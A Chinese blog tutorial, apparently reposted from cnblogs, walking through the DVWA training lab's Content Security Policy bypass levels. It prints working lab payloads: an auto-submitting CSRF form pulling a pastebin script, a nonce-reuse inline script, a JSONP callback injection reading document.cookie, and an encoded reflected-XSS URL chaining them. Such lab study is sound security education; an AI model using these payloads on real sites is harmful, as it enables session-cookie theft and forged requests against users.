DVWA 黑客攻防实战(十五) 绕过内容安全策略 Content Security Policy (CSP) Bypass
看到标题,是否有点疑惑 CPS 是什么东东。简单介绍一下就是浏览器的安全策略,如果 标签,或者是服务器中返回 HTTP 头中有 Content-Security-Policy
标签 ,浏览器会根据标签里面的内容,判断哪些资源可以加载或执行。阮一峰老师也有关于CSP 的文章,大家可以看看
看回 DVWA。DVWA 中需求也是很简单的,输入被信任的资源,就能加载或执行资源了。
初级
初级篇,如果不看源码的话。看检查器(F12),也可以知道一些被信任的网站。
其他的网站,大家应该也比较熟悉。而当中的 pastebin 是什么网站呢?一个快速分享文本内容的网站
假如文本的内容是一段 js 代码呢?
比如是源码中提示我们的, 输入 https://pastebin.com/raw/VqHmJKjr
所以,不应该信任那些可以自由编辑文件的网页的
那么能如何进行攻击呢? 可以用 CSRF 吧。
造一个恶意的网站,通过发邮件的方式诱导用户点击即可。详情可以看 CSRF 那一章。
<form action="http://192.168.0.110:5678/vulnerabilities/csp/" id="csp" method="post">
<input type="text" name="include" value=""/>
</form>
<script>
var form = document.getElementById("csp");
form[0].value="https://pastebin.com/raw/VqHmJKjr";
form.submit();
</script>
中级
中级的问题在于使用了 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='
这个标签,
也就是说如果你输入
<script nonc=”TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
是能注入成功的。
这当然也可以利用 CSRF 手段进行攻击
高级
高级就改变了形式了,点击按钮会得到答案,而这个答案是用 JSONP 的方式获得的。(常用于跨越请求)
而且 cps 也设置为只信任自己的域名了
Content-Security-Policy: script-src 'self';
那这能有什么问题呢?
而点击后发请求的逻辑在 vulnerabilities/csp/source/high.js
中
function clickButton() {var s = document.createElement("script");s.src = "source/jsonp.php?callback=solveSum";document.body.appendChild(s);
}function solveSum(obj) {if ("answer" in obj) {document.getElementById("answer").innerHTML = obj['answer'];}
}var solve_button = document.getElementById ("solve");if (solve_button) {solve_button.addEventListener("click", function() {clickButton();});
}
先说下这里的逻辑是什么吧。
- 客户端点击按钮后,会在 html 中创建
<script src="http://192.168.0.110:5678/vulnerabilities/csp/source/jsonp.php?callback=solveSum"></script>
这样的标签 - 因为 script 不同于 ajax,所以可以跨域发送的
- 服务器就根据 callback 请求,返回
solveSum({"answer":"15"})
, 就可以调用 high.js 中的solveSum
有点绕。
大家应该能理解吧。
但如果有人将 callback 参数改成 ...callback=alert(document.cookie)//呢?
返回的确实 alert(document.cookie)//({"answer":"15"})
。。。
所以这是一个注入点。
至于如何利用,可以用同一个级别的 反射型 XSS 攻击,在 CSRF 那篇也见过这种攻击的手法
假如我有一个这样的 js 。
d=document;
h=d.getElementsByTagName('head').item(0);
s=d.createElement('script');
s.setAttribute('src','/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie)//');
h.appendChild(s);
即可完成攻击
而 xss 攻击 url 是这样的
http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cimg%20src=x%20οnerrοr=%22eval(unescape(location.hash.substr(1)))%22%3E#d=document;h=d.getElementsByTagName(%22head%22).item(0);s=d.createElement(%22script%22);s.setAttribute(%22src%22,%20%22/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie);//%22);h.appendChild(s)
去掉转义是这样的 http://192.168.0.110:5678/vulnerabilities/xss_r/?name=#d=document;h=d.getElementsByTagName('head').item(0);s=d.createElement('script');s.setAttribute('src','/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie)//');h.appendChild(s);
意思就是说,XSS 那里有个注入点,添加了个图片,图片地址错误的时候会折断 url 的哈希路由的部分进行攻击。具体还是看下 XSS 和 CSRF 那部分吧
不可能
就没有 url 中的 callback 了,后台写死了
<?php$headerCSP = "Content-Security-Policy: script-src 'self';";header($headerCSP);?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST"><p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p><p>1+2+3+4+5=<span id="answer"></span></p><input type="button" id="solve" value="Solve the sum" />
</form><script src="source/impossible.js"></script>
';
总结
见识了这些绕过的方式,设置 CSP 还得谨慎点。
JSONP 跨域,其实也挺多安全性问题的。比如一些敏感的信息一不注意就会在恶意网站通过 JOSNP 泄露出去的。
转载于:https://www.cnblogs.com/jojo-feed/p/10204588.html
DVWA 黑客攻防实战(十五) 绕过内容安全策略 Content Security Policy (CSP) Bypass相关推荐
- http内容安全策略Content Security Policy(CSP)
内容安全策略CSP是安全性的附加层,有助于检测和缓解某些类型的攻击,包括跨站点脚本(Cross Site Scripting (XSS) Software Attack | OWASP Foundat ...
- 一步一步学习DVWA渗透测试(CSP Bypass绕过内容安全策略)-第十二次课
小伙伴们,今天我们继续学习. Content-Security-Policy是指HTTP返回报文头中的标签,浏览器会根据标签中的内容,判断哪些资源可以加载或执行.翻译为中文就是绕过内容安全策略.是为了 ...
- 黑客零基础入门教程:「黑客攻防实战从入门到精通(第二版)」堪称黑客入门天花板
前言 您知道在每天上网时,有多少黑客正在浏览您计算机中的重要数据吗﹖黑客工具的肆意传播,使得即使是稍有点计算机基础的人,就可以使用简单的工具对网络中一些疏于防范的主机进行攻击,在入侵成功之后,对其中的 ...
- 内容安全策略(Content Security Policy)
内容安全策略(Content Security Policy) 内容安全策略(Content Security Policy)是一种声明的安全机制,可以让网站运营者能够控制遵循CSP的用户代理(通常是 ...
- python实用黑客脚本_Python黑客攻防(十六)编写Dos脚本,进行容易攻击演示
注:本篇文章为个人学习笔记仅供学习交流,请勿用于非法用途.转载须标明出处. 欢迎关注微信公众号:黑客帮 获取更多干货. Dos攻击简介 DOS:中文名称是拒绝服务,一切能引起DOS行为的攻击都被称为D ...
- 黑客攻防实战,黑客入门到精通,收藏这一篇就够了
前言 你知道在每天上网时,有多少黑客正在浏览我们计算机中的重要数据吗﹖黑客工具的肆意传播,使得即使是稍有点计算机基础的人,就可以使用简单的工具对网络中一些疏于防范的主机进行攻击,在入侵成功之后,对其中 ...
- DirectX 12 3D 游戏开发与实战第五章内容
渲染流水线 学习目标: 了解用于在2D图像中表现出场景立体感和空间深度感等真实效果的关键因素 探索如何用Direct3D表示3D对象 学习如何建立虚拟摄像机 理解渲染流水线,根据给定的3D场景的几何描 ...
- DVWA 黑客攻防演练(七)Weak Session IDs
用户访问服务器的时候,一般服务器都会分配一个身份证 session id 给用户,用于标识.用户拿到 session id 后就会保存到 cookies 上,之后只要拿着 cookies 再访问服务器 ...
- Python黑客攻防(十四)暴力破解FTP口令
注:本篇文章为个人学习笔记仅供学习交流,请勿用于非法用途. 参考:<Python绝技:运用Python成为顶级黑客>. 前言: 从安全方面考虑,网站允许匿名FTP访问似乎是很疯狂的做法.然 ...
最新文章
- FPGA之道(82)功能仿真之仿真原理
- zabbix之rpm简单快速安装详解
- 一个网络公司的任职要求
- macOS上实现Qt应用程序做文件关联打开
- 电子设计竞赛(7)-2017年电赛A题:微电网模拟系统教程
- mysql怎么拆字符串_MySQL截取和拆分字符串函数用法示例
- 十面阿里Java程序员终拿下阿里P6offer
- keras中的模型保存和加载
- hadoop入门学习教程--DKHadoop完整安装步骤
- 洛谷——P1085 [NOIP2004 普及组] 不高兴的津津
- E WORD 0410
- 计算机体系结构----指令流水线吞吐率、效率计算
- Unity3d游戏开发用哪个语言更好?
- 网站搜索引擎优化外链工具
- 单词数 HDU - 2072
- 中国生物降解塑料行业“十四五”发展规划及未来前景展望报告2021年版
- OBJECTS IN SEMANTIC TOPOLOGY
- echarts 仪表盘图展示百分比
- 仿某鸟云前台 智简魔方IDC财务管理系统
- 安装完IIS localhost打不开
热门文章
- (转载)Linux下pthread_once()函数
- songsoft-关于加薪的策略
- C# 语法练习(3): 运算符
- 受益终生的世界顶级八大思维
- 在mysql中创建表的命令行_如何在命令行创建一个MySQL数据库
- java迭代器的原理_小学生之Java中迭代器实现的原理
- pdo mysql 建库_一帖让PHP小白彻底了解PDO操作数据库的方法
- html函数属性的赋予,你可以将javascript函数名称设置为html属性吗?
- java.security.cet.CertPathValidatorException: Path does not chain with any of the trust anchors 解决办法
- 011_AOP注解开发